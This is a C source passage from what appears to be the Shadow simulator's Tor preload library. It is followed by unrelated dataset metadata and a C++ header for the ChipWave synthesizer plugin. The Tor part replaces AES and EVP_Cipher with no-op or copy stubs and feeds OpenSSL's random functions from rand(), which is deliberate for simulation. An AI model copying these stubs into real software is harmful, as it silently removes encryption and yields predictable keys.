* start interposition functions
********************************************************************************/
/* tor family */
/* this is a hack to ensure only one tor node is initializing at a time,
* until we can find the race condition that occurs when running shadow
* with multiple worker threads. */
G_LOCK_DEFINE_STATIC(shadowtorpreloadTorInitLock);
int tor_init(int argc, char *argv[]) {
interposer_disable();
G_LOCK(shadowtorpreloadTorInitLock);
interposer_enable();
int ret = _shadowtorpreload_getWorker()->active->vtable.tor_init(argc, argv);
interposer_disable();
G_UNLOCK(shadowtorpreloadTorInitLock);
interposer_enable();
return ret;
}
int write_str_to_file(const char *fname, const char *str, int bin) {
/* check if filepath is a consenus file. store it in separate files
* so we don't lose old consenus info on overwrites. */
if (g_str_has_suffix(fname, "cached-consensus")) {
//if(g_strrstr(filepath, "cached-consensus") != NULL) {
GString* newPath = g_string_new(fname);
GError* error = NULL;
g_string_append_printf(newPath, ".%03i", _shadowtorpreload_getWorker()->consensusCounter++);
if (!g_file_set_contents(newPath->str, str, -1, &error)) {
log_warn(LD_GENERAL, "Error writing file '%s' to track consensus update: error %i: %s",
newPath->str, error->code, error->message);
}
g_string_free(newPath, TRUE);
}
return _shadowtorpreload_getWorker()->active->vtable.write_str_to_file(fname, str, bin);
}
/* libevent family */
struct evdns_request* evdns_base_resolve_ipv4(struct evdns_base *base, const char *name, int flags,
evdns_callback_type callback, void *ptr) {
in_addr_t ip;
int success = 0;
if(callback) {
struct addrinfo* info = NULL;
int success = (0 == getaddrinfo(name, NULL, NULL, &info));
if (success) {
ip = ((struct sockaddr_in*) (info->ai_addr))->sin_addr.s_addr;
}
freeaddrinfo(info);
}
if(success) {
callback(DNS_ERR_NONE, DNS_IPv4_A, 1, 86400, &ip, ptr);
return (struct evdns_request *)1;
} else {
return NULL;
}
}
/* openssl family */
/* const AES_KEY *key
* The key parameter has been voided to avoid requiring Openssl headers */
void AES_encrypt(const unsigned char *in, unsigned char *out, const void *key) {
return;
}
/*
* const AES_KEY *key
* The key parameter has been voided to avoid requiring Openssl headers
*/
void AES_decrypt(const unsigned char *in, unsigned char *out, const void *key) {
return;
}
/*
* const AES_KEY *key
* The key parameter has been voided to avoid requiring Openssl headers
*/
void AES_ctr128_encrypt(const unsigned char *in, unsigned char *out, const void *key) {
return;
}
/*
* const AES_KEY *key
* The key parameter has been voided to avoid requiring Openssl headers
*/
void AES_ctr128_decrypt(const unsigned char *in, unsigned char *out, const void *key) {
return;
}
/*
* There is a corner case on certain machines that causes padding-related errors
* when the EVP_Cipher is set to use aesni_cbc_hmac_sha1_cipher. Our memmove
* implementation does not handle padding.
*
* We attempt to disable the use of aesni_cbc_hmac_sha1_cipher with the environment
* variable OPENSSL_ia32cap=~0x200000200000000, and by default intercept EVP_Cipher
* in order to skip the encryption.
*
* If that doesn't work, the user can request that we let the application perform
* the encryption by defining SHADOW_ENABLE_EVPCIPHER, which means we will not
* intercept EVP_Cipher and instead let OpenSSL do its thing.
*/
#ifndef SHADOW_ENABLE_EVPCIPHER
/*
* EVP_CIPHER_CTX *ctx
* The ctx parameter has been voided to avoid requiring Openssl headers
*/
int EVP_Cipher(struct evp_cipher_ctx_st* ctx, unsigned char *out, const unsigned char *in, unsigned int inl){
memmove(out, in, (size_t)inl);
return 1;
}
#endif
void RAND_seed(const void *buf, int num) {
return;
}
void RAND_add(const void *buf, int num, double entropy) {
return;
}
int RAND_poll() {
return 1;
}
static gint _shadowtorpreload_getRandomBytes(guchar* buf, gint numBytes) {
gint bytesWritten = 0;
while(numBytes > bytesWritten) {
gint r = rand();
gint copyLength = MIN(numBytes-bytesWritten, sizeof(gint));
g_memmove(buf+bytesWritten, &r, copyLength);
bytesWritten += copyLength;
}
return 1;
}
int RAND_bytes(unsigned char *buf, int num) {
return _shadowtorpreload_getRandomBytes(buf, num);
}
int RAND_pseudo_bytes(unsigned char *buf, int num) {
return _shadowtorpreload_getRandomBytes(buf, num);
}
void RAND_cleanup(void) {
return;
}
int RAND_status(void) {
return 1;
}
static const struct {
void* seed;
void* bytes;
void* cleanup;
void* add;
void* pseudorand;
void* status;
} shadowtorpreload_customRandMethod = {
RAND_seed,
RAND_bytes,
RAND_cleanup,
RAND_add,
RAND_pseudo_bytes,
RAND_status
};
const RAND_METHOD* RAND_get_rand_method() {
return (const RAND_METHOD*)(&shadowtorpreload_customRandMethod);
}
RAND_METHOD* RAND_SSLeay() {
return (RAND_METHOD*)(&shadowtorpreload_customRandMethod);
}
/********************************************************************************
* the code below provides support for multi-threaded openssl and libevent.
* we need global state here to manage locking for all threads, so we use the
* preload library because the symbols here do not get hoisted and copied
* for each instance of the plug-in.
*
* @see '$man CRYPTO_lock'
********************************************************************************/
/*
* Holds global state for the Tor preload library. This state will not be
* copied for every instance of Tor, or for every instance of the plugin.
* Therefore, we must ensure that modifications to it are properly locked
* for thread safety, it is not initialized multiple times, etc.
*/
typedef struct _PreloadGlobal PreloadGlobal;
/* !!WARNING - do not change this struct without updating the initialization
* of shadowtorpreloadGlobalState that is done right below it!! */
struct _PreloadGlobal {
gboolean initialized;
gboolean sslInitializedEarly;
gboolean sslInitializedGlobal;
gint nTorCryptoNodes;
gint nThreads;
gint numCryptoThreadLocks;
GRWLock* cryptoThreadLocks;
unsigned long (*libevent_id_fn)(void);
struct evthread_lock_callbacks libevent_lock_fns;
struct evthread_condition_callbacks libevent_cond_fns;
unsigned long (*crypto_id_fn)(void);
void (*crypto_lock_fn)(int mode,int type, const char *file,int line);
struct CRYPTO_dynlock_value *(*crypto_dyn_create_function)(const char *file, int line);
void (*crypto_dyn_lock_function)(int mode, struct CRYPTO_dynlock_value *l, const char *file, int line);
void (*crypto_dyn_destroy_function)(struct CRYPTO_dynlock_value *l, const char *file, int line);
};
PreloadGlobal shadowtorpreloadGlobalState = {FALSE, FALSE, FALSE, 0, 0, 0, NULL,
NULL, 0, 0, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL};
G_LOCK_DEFINE_STATIC(shadowtorpreloadPrimaryLock);
G_LOCK_DEFINE_STATIC(shadowtorpreloadSecondaryLock);
G_LOCK_DEFINE_STATIC(shadowtorpreloadTrenaryLock);
/*
* here we wrap the libevent thread funcs to make sure that the libevent
* global library state is locked with the real pthread and shadow doesnt interfere
*/
static unsigned long _shadowtorpreload_libevent_id() {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.libevent_id_fn);
unsigned long ret = shadowtorpreloadGlobalState.libevent_id_fn();
interposer_enable();
return ret;
}
static void* _shadowtorpreload_libevent_lock_alloc(unsigned locktype) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.libevent_lock_fns.alloc);
void* ret = shadowtorpreloadGlobalState.libevent_lock_fns.alloc(locktype);
interposer_enable();
return ret;
}
static void _shadowtorpreload_libevent_lock_free(void *lock, unsigned locktype) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.libevent_lock_fns.free);
shadowtorpreloadGlobalState.libevent_lock_fns.free(lock, locktype);
interposer_enable();
}
static int _shadowtorpreload_libevent_lock_lock(unsigned mode, void *lock) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.libevent_lock_fns.lock);
int ret = shadowtorpreloadGlobalState.libevent_lock_fns.lock(mode, lock);
interposer_enable();
return ret;
}
static int _shadowtorpreload_libevent_lock_unlock(unsigned mode, void *lock) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.libevent_lock_fns.unlock);
int ret = shadowtorpreloadGlobalState.libevent_lock_fns.unlock(mode, lock);
interposer_enable();
return ret;
}
static void* _shadowtorpreload_libevent_cond_alloc(unsigned condtype) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.libevent_cond_fns.alloc_condition);
void* ret = shadowtorpreloadGlobalState.libevent_cond_fns.alloc_condition(condtype);
interposer_enable();
return ret;
}
static void _shadowtorpreload_libevent_cond_free(void *cond) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.libevent_cond_fns.free_condition);
shadowtorpreloadGlobalState.libevent_cond_fns.free_condition(cond);
interposer_enable();
}
static int _shadowtorpreload_libevent_cond_signal(void *cond, int broadcast) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.libevent_cond_fns.signal_condition);
int ret = shadowtorpreloadGlobalState.libevent_cond_fns.signal_condition(cond, broadcast);
interposer_enable();
return ret;
}
static int _shadowtorpreload_libevent_cond_wait(void *cond, void *lock, const struct timeval *timeout) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.libevent_cond_fns.wait_condition);
int ret = shadowtorpreloadGlobalState.libevent_cond_fns.wait_condition(cond, lock, timeout);
interposer_enable();
return ret;
}
/*
* the next libevent functions store the necessary state and set up the wrappers.
* the libevent funcs are looked up late here using dlsym, because we dont have
* the handle that we had for the tor module lookups, and we are assured that
* by the time these funcs are called by libevent, libevent.so has been loaded and
* therefore we are guaranteed to find the evthread symbols.
*/
void evthread_set_id_callback(unsigned long (*id_fn)(void)) {
interposer_disable();
G_LOCK(shadowtorpreloadTrenaryLock);
if(!shadowtorpreloadGlobalState.libevent_id_fn && id_fn) {
shadowtorpreloadGlobalState.libevent_id_fn = id_fn;
g_assert(_shadowtorpreload_getWorker()->active->vtable.evthread_set_id_callback != NULL);
_shadowtorpreload_getWorker()->active->vtable.evthread_set_id_callback(_shadowtorpreload_libevent_id);
}
G_UNLOCK(shadowtorpreloadTrenaryLock);
interposer_enable();
}
int evthread_set_lock_callbacks(const struct evthread_lock_callbacks *cbs) {
interposer_disable();
G_LOCK(shadowtorpreloadTrenaryLock);
int ret = 0;
if(!shadowtorpreloadGlobalState.libevent_lock_fns.alloc && cbs) {
shadowtorpreloadGlobalState.libevent_lock_fns.alloc = cbs->alloc;
shadowtorpreloadGlobalState.libevent_lock_fns.free = cbs->free;
shadowtorpreloadGlobalState.libevent_lock_fns.lock = cbs->lock;
shadowtorpreloadGlobalState.libevent_lock_fns.unlock = cbs->unlock;
struct evthread_lock_callbacks libevent_lock_wrappers;
memset(&libevent_lock_wrappers, 0, sizeof(struct evthread_lock_callbacks));
libevent_lock_wrappers.lock_api_version = cbs->lock_api_version;
libevent_lock_wrappers.supported_locktypes = cbs->supported_locktypes;
libevent_lock_wrappers.alloc = _shadowtorpreload_libevent_lock_alloc;
libevent_lock_wrappers.free = _shadowtorpreload_libevent_lock_free;
libevent_lock_wrappers.lock = _shadowtorpreload_libevent_lock_lock;
libevent_lock_wrappers.unlock = _shadowtorpreload_libevent_lock_unlock;
g_assert(_shadowtorpreload_getWorker()->active->vtable.evthread_set_lock_callbacks != NULL);
ret = _shadowtorpreload_getWorker()->active->vtable.evthread_set_lock_callbacks(&libevent_lock_wrappers);
}
G_UNLOCK(shadowtorpreloadTrenaryLock);
interposer_enable();
return ret;
}
int evthread_set_condition_callbacks(const struct evthread_condition_callbacks *cbs) {
interposer_disable();
G_LOCK(shadowtorpreloadTrenaryLock);
int ret = 0;
if(!shadowtorpreloadGlobalState.libevent_cond_fns.alloc_condition && cbs) {
shadowtorpreloadGlobalState.libevent_cond_fns.alloc_condition = cbs->alloc_condition;
shadowtorpreloadGlobalState.libevent_cond_fns.free_condition = cbs->free_condition;
shadowtorpreloadGlobalState.libevent_cond_fns.signal_condition = cbs->signal_condition;
shadowtorpreloadGlobalState.libevent_cond_fns.wait_condition = cbs->wait_condition;
struct evthread_condition_callbacks libevent_cond_wrappers;
memset(&libevent_cond_wrappers, 0, sizeof(struct evthread_condition_callbacks));
libevent_cond_wrappers.condition_api_version = cbs->condition_api_version;
libevent_cond_wrappers.alloc_condition = _shadowtorpreload_libevent_cond_alloc;
libevent_cond_wrappers.free_condition = _shadowtorpreload_libevent_cond_free;
libevent_cond_wrappers.signal_condition = _shadowtorpreload_libevent_cond_signal;
libevent_cond_wrappers.wait_condition = _shadowtorpreload_libevent_cond_wait;
g_assert(_shadowtorpreload_getWorker()->active->vtable.evthread_set_condition_callbacks != NULL);
ret = _shadowtorpreload_getWorker()->active->vtable.evthread_set_condition_callbacks(&libevent_cond_wrappers);
}
G_UNLOCK(shadowtorpreloadTrenaryLock);
interposer_enable();
return ret;
}
/**
* these init and cleanup Tor functions are called to handle openssl.
* they must be globally locked and only called once globally to avoid openssl errors.
*/
int crypto_early_init(void) {
interposer_disable();
G_LOCK(shadowtorpreloadSecondaryLock);
interposer_enable();
gint result = 0;
if(!shadowtorpreloadGlobalState.sslInitializedEarly) {
shadowtorpreloadGlobalState.sslInitializedEarly = TRUE;
if(_shadowtorpreload_getWorker()->active->vtable.crypto_early_init != NULL) {
result = _shadowtorpreload_getWorker()->active->vtable.crypto_early_init();
}
} else {
if(_shadowtorpreload_getWorker()->active->vtable.crypto_early_init != NULL) {
if (_shadowtorpreload_getWorker()->active->vtable.crypto_seed_rng(1) < 0)
result = -1;
if (_shadowtorpreload_getWorker()->active->vtable.crypto_init_siphash_key() < 0)
result = -1;
}
}
interposer_disable();
G_UNLOCK(shadowtorpreloadSecondaryLock);
interposer_enable();
return result;
}
int crypto_global_init(int useAccel, const char *accelName, const char *accelDir) {
interposer_disable();
G_LOCK(shadowtorpreloadPrimaryLock);
interposer_enable();
shadowtorpreloadGlobalState.nTorCryptoNodes++;
gint result = 0;
if(!shadowtorpreloadGlobalState.sslInitializedGlobal) {
shadowtorpreloadGlobalState.sslInitializedGlobal = TRUE;
if(_shadowtorpreload_getWorker()->active->vtable.tor_ssl_global_init) {
_shadowtorpreload_getWorker()->active->vtable.tor_ssl_global_init();
}
if(_shadowtorpreload_getWorker()->active->vtable.crypto_global_init) {
result = _shadowtorpreload_getWorker()->active->vtable.crypto_global_init(useAccel, accelName, accelDir);
}
}
interposer_disable();
G_UNLOCK(shadowtorpreloadPrimaryLock);
interposer_enable();
return result;
}
int crypto_global_cleanup(void) {
interposer_disable();
G_LOCK(shadowtorpreloadPrimaryLock);
interposer_enable();
gint result = 0;
if(--shadowtorpreloadGlobalState.nTorCryptoNodes == 0) {
if(_shadowtorpreload_getWorker()->active->vtable.crypto_global_cleanup) {
result = _shadowtorpreload_getWorker()->active->vtable.crypto_global_cleanup();
}
}
interposer_disable();
G_UNLOCK(shadowtorpreloadPrimaryLock);
interposer_enable();
return result;
}
void tor_ssl_global_init() {
// do nothing, we initialized openssl above in crypto_global_init
}
static void _shadowtorpreload_cryptoSetup(int numLocks) {
interposer_disable();
G_LOCK(shadowtorpreloadPrimaryLock);
if(!shadowtorpreloadGlobalState.initialized) {
shadowtorpreloadGlobalState.numCryptoThreadLocks = numLocks;
shadowtorpreloadGlobalState.cryptoThreadLocks = g_new0(GRWLock, numLocks);
for(gint i = 0; i < numLocks; i++) {
g_rw_lock_init(&(shadowtorpreloadGlobalState.cryptoThreadLocks[i]));
}
shadowtorpreloadGlobalState.initialized = TRUE;
}
shadowtorpreloadGlobalState.nThreads++;
G_UNLOCK(shadowtorpreloadPrimaryLock);
interposer_enable();
}
static void _shadowtorpreload_cryptoTeardown(void) {
interposer_disable();
G_LOCK(shadowtorpreloadPrimaryLock);
if(shadowtorpreloadGlobalState.initialized &&
shadowtorpreloadGlobalState.cryptoThreadLocks &&
--shadowtorpreloadGlobalState.nThreads == 0) {
for(int i = 0; i < shadowtorpreloadGlobalState.numCryptoThreadLocks; i++) {
g_rw_lock_clear(&(shadowtorpreloadGlobalState.cryptoThreadLocks[i]));
}
g_free(shadowtorpreloadGlobalState.cryptoThreadLocks);
shadowtorpreloadGlobalState.cryptoThreadLocks = NULL;
shadowtorpreloadGlobalState.initialized = 0;
}
G_UNLOCK(shadowtorpreloadPrimaryLock);
interposer_enable();
}
static unsigned long _shadowtorpreload_getIDFunc(void) {
/* return an ID that is unique for each thread */
return (unsigned long)(_shadowtorpreload_getWorker());
}
static void _shadowtorpreload_cryptoLockingFunc(int mode, int n, const char *file, int line) {
assert(shadowtorpreloadGlobalState.initialized);
GRWLock* lock = &(shadowtorpreloadGlobalState.cryptoThreadLocks[n]);
assert(lock);
interposer_disable();
if(mode & CRYPTO_LOCK) {
if(mode & CRYPTO_READ) {
g_rw_lock_reader_lock(lock);
} else if(mode & CRYPTO_WRITE) {
g_rw_lock_writer_lock(lock);
}
} else if(mode & CRYPTO_UNLOCK) {
if(mode & CRYPTO_READ) {
g_rw_lock_reader_unlock(lock);
} else if(mode & CRYPTO_WRITE) {
g_rw_lock_writer_unlock(lock);
}
}
interposer_enable();
}
static struct CRYPTO_dynlock_value* _shadowtorpreload_dynlock_create(const char *file, int line) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.crypto_dyn_create_function != NULL);
struct CRYPTO_dynlock_value* ret = shadowtorpreloadGlobalState.crypto_dyn_create_function(file, line);
interposer_enable();
return ret;
}
static void _shadowtorpreload_dynlock_lock(int mode, struct CRYPTO_dynlock_value *l, const char *file, int line) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.crypto_dyn_lock_function != NULL);
shadowtorpreloadGlobalState.crypto_dyn_lock_function(mode, l, file, line);
interposer_enable();
}
static void _shadowtorpreload_dynlock_destroy(struct CRYPTO_dynlock_value *l, const char *file, int line) {
interposer_disable();
g_assert(shadowtorpreloadGlobalState.crypto_dyn_destroy_function != NULL);
shadowtorpreloadGlobalState.crypto_dyn_destroy_function(l, file, line);
interposer_enable();
}
//unsigned long (*CRYPTO_get_id_callback(void))(void) {
// return (unsigned long)_shadowtorpreload_getIDFunc;
//}
//
//void (*CRYPTO_get_locking_callback(void))(int mode,int type,const char *file,
// int line) {
// return _shadowtorpreload_cryptoLockingFunc;
//}
void CRYPTO_set_id_callback(unsigned long (*func)(void)) {
interposer_disable();
G_LOCK(shadowtorpreloadTrenaryLock);
if(!shadowtorpreloadGlobalState.crypto_id_fn && func) {
shadowtorpreloadGlobalState.crypto_id_fn = func;
g_assert(_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_id_callback != NULL);
_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_id_callback(_shadowtorpreload_getIDFunc);
}
G_UNLOCK(shadowtorpreloadTrenaryLock);
interposer_enable();
}
void CRYPTO_set_locking_callback(void (*func)(int mode,int type, const char *file,int line)) {
interposer_disable();
G_LOCK(shadowtorpreloadTrenaryLock);
if(!shadowtorpreloadGlobalState.crypto_lock_fn && func) {
shadowtorpreloadGlobalState.crypto_lock_fn = func;
g_assert(_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_locking_callback != NULL);
_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_locking_callback(_shadowtorpreload_cryptoLockingFunc);
}
G_UNLOCK(shadowtorpreloadTrenaryLock);
interposer_enable();
}
void CRYPTO_set_dynlock_create_callback(struct CRYPTO_dynlock_value *(*dyn_create_function)(const char *file, int line)) {
interposer_disable();
G_LOCK(shadowtorpreloadTrenaryLock);
if(!shadowtorpreloadGlobalState.crypto_dyn_create_function && dyn_create_function) {
shadowtorpreloadGlobalState.crypto_dyn_create_function = dyn_create_function;
g_assert(_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_dynlock_create_callback != NULL);
_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_dynlock_create_callback(_shadowtorpreload_dynlock_create);
}
G_UNLOCK(shadowtorpreloadTrenaryLock);
interposer_enable();
}
void CRYPTO_set_dynlock_lock_callback(void (*dyn_lock_function)(int mode, struct CRYPTO_dynlock_value *l, const char *file, int line)) {
interposer_disable();
G_LOCK(shadowtorpreloadTrenaryLock);
if(!shadowtorpreloadGlobalState.crypto_dyn_lock_function && dyn_lock_function) {
shadowtorpreloadGlobalState.crypto_dyn_lock_function = dyn_lock_function;
g_assert(_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_dynlock_lock_callback != NULL);
_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_dynlock_lock_callback(_shadowtorpreload_dynlock_lock);
}
G_UNLOCK(shadowtorpreloadTrenaryLock);
interposer_enable();
}
void CRYPTO_set_dynlock_destroy_callback(void (*dyn_destroy_function)(struct CRYPTO_dynlock_value *l, const char *file, int line)) {
interposer_disable();
G_LOCK(shadowtorpreloadTrenaryLock);
if(!shadowtorpreloadGlobalState.crypto_dyn_destroy_function && dyn_destroy_function) {
shadowtorpreloadGlobalState.crypto_dyn_destroy_function = dyn_destroy_function;
g_assert(_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_dynlock_destroy_callback != NULL);
_shadowtorpreload_getWorker()->active->vtable.CRYPTO_set_dynlock_destroy_callback(_shadowtorpreload_dynlock_destroy);
}
G_UNLOCK(shadowtorpreloadTrenaryLock);
interposer_enable();
}
/********************************************************************************
* end code that supports multi-threaded openssl and libevent.
********************************************************************************/
| 38.719059 | 149 | 0.740163 | [
"object"
] |
2319b5909ae7997efbfb50d18c53f9de1465f327 | 9,399 | h | C | reference/chipwave-0.72/src/chipwave.h | linuxmao-org/shiru-plugins | 08853f99140012234649e67e5647906fda74f6cc | [
"WTFPL"
] | 11 | 2019-06-15T06:36:36.000Z | 2022-02-22T04:49:22.000Z | reference/chipwave-0.72/src/chipwave.h | nyxkn/shiru-plugins | 8088c04b94afb498cec6a14bd03c448936bf31e9 | [
"WTFPL"
] | 6 | 2019-06-15T14:04:49.000Z | 2019-11-27T15:35:13.000Z | reference/chipwave-0.72/src/chipwave.h | nyxkn/shiru-plugins | 8088c04b94afb498cec6a14bd03c448936bf31e9 | [
"WTFPL"
] | 2 | 2020-12-30T00:21:35.000Z | 2021-07-04T18:32:46.000Z | #include <math.h>
#include <vector>
using namespace std;
#include "audioeffectx.h"
#define PLUGIN_NAME "ChipWave"
#define PLUGIN_VENDOR "Shiru"
#define PLUGIN_PRODUCT "v0.72 03.06.19"
#define PLUGIN_UID 'chwa'
#define NUM_INPUTS 0
#define NUM_OUTPUTS 2
#define NUM_PROGRAMS 128
#define SYNTH_CHANNELS 8
#define OSC_CUT_MAX_MS 1000
#define ENVELOPE_UPDATE_RATE_HZ 500
#define ENVELOPE_ATTACK_MAX_MS 10000
#define ENVELOPE_DECAY_MAX_MS 10000
#define ENVELOPE_RELEASE_MAX_MS 1000
#define MOD_DELAY_MAX_MS 10000
#define LFO_MAX_HZ 50
#define DETUNE_SEMITONES 7.0f
#define OVERSAMPLING 8
#define CHUNK_SIZE 65536
#define MAX_NAME_LEN 32
#define F_PI ((float)M_PI)
#define FILTER_CUTOFF_MIN_HZ 10
#define FILTER_CUTOFF_MAX_HZ 22050
#define FILTER_MIN_RESONANCE 1.0f
#define FILTER_MAX_RESONANCE 10.0f
#define OVERDRIVE_MAX 10.0f
enum {
pIdOscAWave=0,
pIdOscADuty,
pIdOscAOver,
pIdOscACut,
pIdOscAMultiple,
pIdOscASeed,
pIdOscBWave,
pIdOscBDuty,
pIdOscBOver,
pIdOscBCut,
pIdOscBDetune,
pIdOscBMultiple,
pIdOscBSeed,
pIdOscBalance,
pIdOscMixMode,
pIdFltCutoff,
pIdFltReso,
pIdSlideDelay,
pIdSlideSpeed,
pIdSlideRoute,
pIdEnvAttack,
pIdEnvDecay,
pIdEnvSustain,
pIdEnvRelease,
pIdEnvOscADepth,
pIdEnvOscBDepth,
pIdEnvOscBDetuneDepth,
pIdEnvOscMixDepth,
pIdEnvFltDepth,
pIdEnvLfoDepth,
pIdLfoSpeed,
pIdLfoPitchDepth,
pIdLfoOscADepth,
pIdLfoOscBDepth,
pIdLfoOscMixDepth,
pIdLfoFltDepth,
pIdAmpAttack,
pIdAmpDecay,
pIdAmpSustain,
pIdAmpRelease,
pIdVelAmp,
pIdVelOscADepth,
pIdVelOscBDepth,
pIdVelOscMixDepth,
pIdVelFltCutoff,
pIdVelFltReso,
pIdPolyphony,
pIdPortaSpeed,
pIdOutputGain,
NUM_PARAMS
};
const char* const oscWaveformNames[]={
"Square/Pulse",
"Tri/Saw",
"Sine",
"Digi Noise"
};
const char* const slideRouteNames[3]={
"Both",
"OscA only",
"OscB only"
};
const char* const programDefaultNames[]={
""
};
enum {
mEventTypeNote=0,
mEventTypeProgram,
mEventTypePitchBend,
mEventTypeModulation
};
struct MidiQueueStruct
{
VstInt32 type;
VstInt32 delta;
VstInt32 note;
VstInt32 velocity;
VstInt32 program;
float depth;
};
enum {
eStageReset=0,
eStageAttack,
eStageDecay,
eStageSustain,
eStageRelease
};
struct SynthOscStruct {
float acc;
float add;
float cut;
VstInt32 noise;
VstInt32 noise_seed;
};
struct SynthChannelStruct
{
VstInt32 note;
float velocity;
float freq;
float freq_new;
SynthOscStruct osca;
SynthOscStruct oscb;
VstInt32 ev_stage;
float ev_level;
float ev_delta;
VstInt32 ef_stage;
float ef_level;
float ef_delta;
float volume;
float slide_delay;
float slide_osca;
float slide_oscb;
float lfo_count;
float lfo_out;
double filter_resofreq;
double filter_amp;
double filter_r;
double filter_c;
double filter_vibrapos;
double filter_vibraspeed;
};
#define TAG(s) (float)(((s)[0])|(((s)[1])<<7)|(((s)[2])<<14)|(((s)[3]<<21)))
#define DATA TAG("DATA")
#define PROG TAG("PROG")
#define NAME TAG("NAME")
#define OAWF TAG("OAWF")
#define OADU TAG("OADU")
#define OAOV TAG("OAOV")
#define OACT TAG("OACT")
#define OAMU TAG("OAMU")
#define OASD TAG("OASD")
#define OBWF TAG("OBWF")
#define OBDU TAG("OBDU")
#define OBOV TAG("OBOV")
#define OBCT TAG("OBCT")
#define OBDE TAG("OBDE")
#define OBMU TAG("OBMU")
#define OBSD TAG("OBSD")
#define OBAL TAG("OBAL")
#define OMIX TAG("OMIX")
#define FLCU TAG("FLCU")
#define FLRE TAG("FLRE")
#define SLDE TAG("SLDE")
#define SLSP TAG("SLSP")
#define SLRO TAG("SLRO")
#define ENAT TAG("ENAT")
#define ENDC TAG("ENDC")
#define ENSU TAG("ENSU")
#define ENRE TAG("ENRE")
#define ENFL TAG("ENFL")
#define ENLF TAG("ENLF")
#define ENOA TAG("ENOA")
#define ENOB TAG("ENOB")
#define ENOD TAG("ENOD")
#define ENMX TAG("ENMX")
#define LFSP TAG("LFSP")
#define LFPI TAG("LFPI")
#define LFOA TAG("LFOA")
#define LFOB TAG("LFOB")
#define LFMX TAG("LFMX")
#define LFFL TAG("LFFL")
#define VOAT TAG("VOAT")
#define VODE TAG("VODE")
#define VOSU TAG("VOSU")
#define VORE TAG("VORE")
#define VLAM TAG("VLAM")
#define VLOA TAG("VLOA")
#define VLOB TAG("VLOB")
#define VLMX TAG("VLMX")
#define VLFC TAG("VLFC")
#define VLFR TAG("VLFR")
#define POLY TAG("POLY")
#define POSP TAG("POSP")
#define GAIN TAG("GAIN")
#define DONE TAG("DONE")
const float ChunkPresetData[]=
{
DATA,
DONE
};
class ChipWave:public AudioEffectX
{
public:
ChipWave(audioMasterCallback audioMaster);
~ChipWave();
virtual void setParameter(VstInt32 index,float value);
virtual float getParameter(VstInt32 index);
virtual void getParameterLabel(VstInt32 index,char *label);
virtual void getParameterDisplay(VstInt32 index,char *text);
virtual void getParameterName(VstInt32 index,char *text);
virtual VstInt32 getProgram();
virtual void setProgram(VstInt32 program);
virtual void getProgramName(char* name);
virtual void setProgramName(char* name);
virtual bool getEffectName(char *name) { strcpy(name,PLUGIN_NAME); return true; }
virtual bool getVendorString(char *text) { strcpy(text,PLUGIN_VENDOR); return true; }
virtual bool getProductString(char *text) { strcpy(text, PLUGIN_PRODUCT); return true; }
virtual VstInt32 getVendorVersion() { return 1000; }
VstInt32 canDo(char* text);
VstInt32 getNumMidiInputChannels(void);
VstInt32 getNumMidiOutputChannels(void);
virtual VstInt32 getChunk(void** data,bool isPreset=false);
virtual VstInt32 setChunk(void* data,VstInt32 byteSize,bool isPreset=false);
VstInt32 processEvents(VstEvents* ev);
void processReplacing(float**inputs,float **outputs,VstInt32 sampleFrames);
void UpdateGUI(bool display);
VstInt32 Program;
float pOscAWave [NUM_PROGRAMS];
float pOscADuty [NUM_PROGRAMS];
float pOscAOver [NUM_PROGRAMS];
float pOscACut [NUM_PROGRAMS];
float pOscAMultiple [NUM_PROGRAMS];
float pOscASeed [NUM_PROGRAMS];
float pOscBWave [NUM_PROGRAMS];
float pOscBDuty [NUM_PROGRAMS];
float pOscBOver [NUM_PROGRAMS];
float pOscBCut [NUM_PROGRAMS];
float pOscBDetune [NUM_PROGRAMS];
float pOscBMultiple [NUM_PROGRAMS];
float pOscBSeed [NUM_PROGRAMS];
float pOscBalance [NUM_PROGRAMS];
float pOscMixMode [NUM_PROGRAMS];
float pFltCutoff [NUM_PROGRAMS];
float pFltReso [NUM_PROGRAMS];
float pSlideDelay [NUM_PROGRAMS];
float pSlideSpeed [NUM_PROGRAMS];
float pSlideRoute [NUM_PROGRAMS];
float pEnvAttack [NUM_PROGRAMS];
float pEnvDecay [NUM_PROGRAMS];
float pEnvSustain [NUM_PROGRAMS];
float pEnvRelease [NUM_PROGRAMS];
float pEnvOscADepth [NUM_PROGRAMS];
float pEnvOscBDepth [NUM_PROGRAMS];
float pEnvOscBDetuneDepth[NUM_PROGRAMS];
float pEnvOscMixDepth[NUM_PROGRAMS];
float pEnvFltDepth [NUM_PROGRAMS];
float pEnvLfoDepth [NUM_PROGRAMS];
float pLfoSpeed [NUM_PROGRAMS];
float pLfoPitchDepth [NUM_PROGRAMS];
float pLfoOscADepth [NUM_PROGRAMS];
float pLfoOscBDepth [NUM_PROGRAMS];
float pLfoOscMixDepth[NUM_PROGRAMS];
float pLfoFltDepth [NUM_PROGRAMS];
float pAmpAttack [NUM_PROGRAMS];
float pAmpDecay [NUM_PROGRAMS];
float pAmpSustain [NUM_PROGRAMS];
float pAmpRelease [NUM_PROGRAMS];
float pVelAmp [NUM_PROGRAMS];
float pVelOscADepth [NUM_PROGRAMS];
float pVelOscBDepth [NUM_PROGRAMS];
float pVelOscMixDepth[NUM_PROGRAMS];
float pVelFltCutoff [NUM_PROGRAMS];
float pVelFltReso [NUM_PROGRAMS];
float pPolyphony [NUM_PROGRAMS];
float pPortaSpeed [NUM_PROGRAMS];
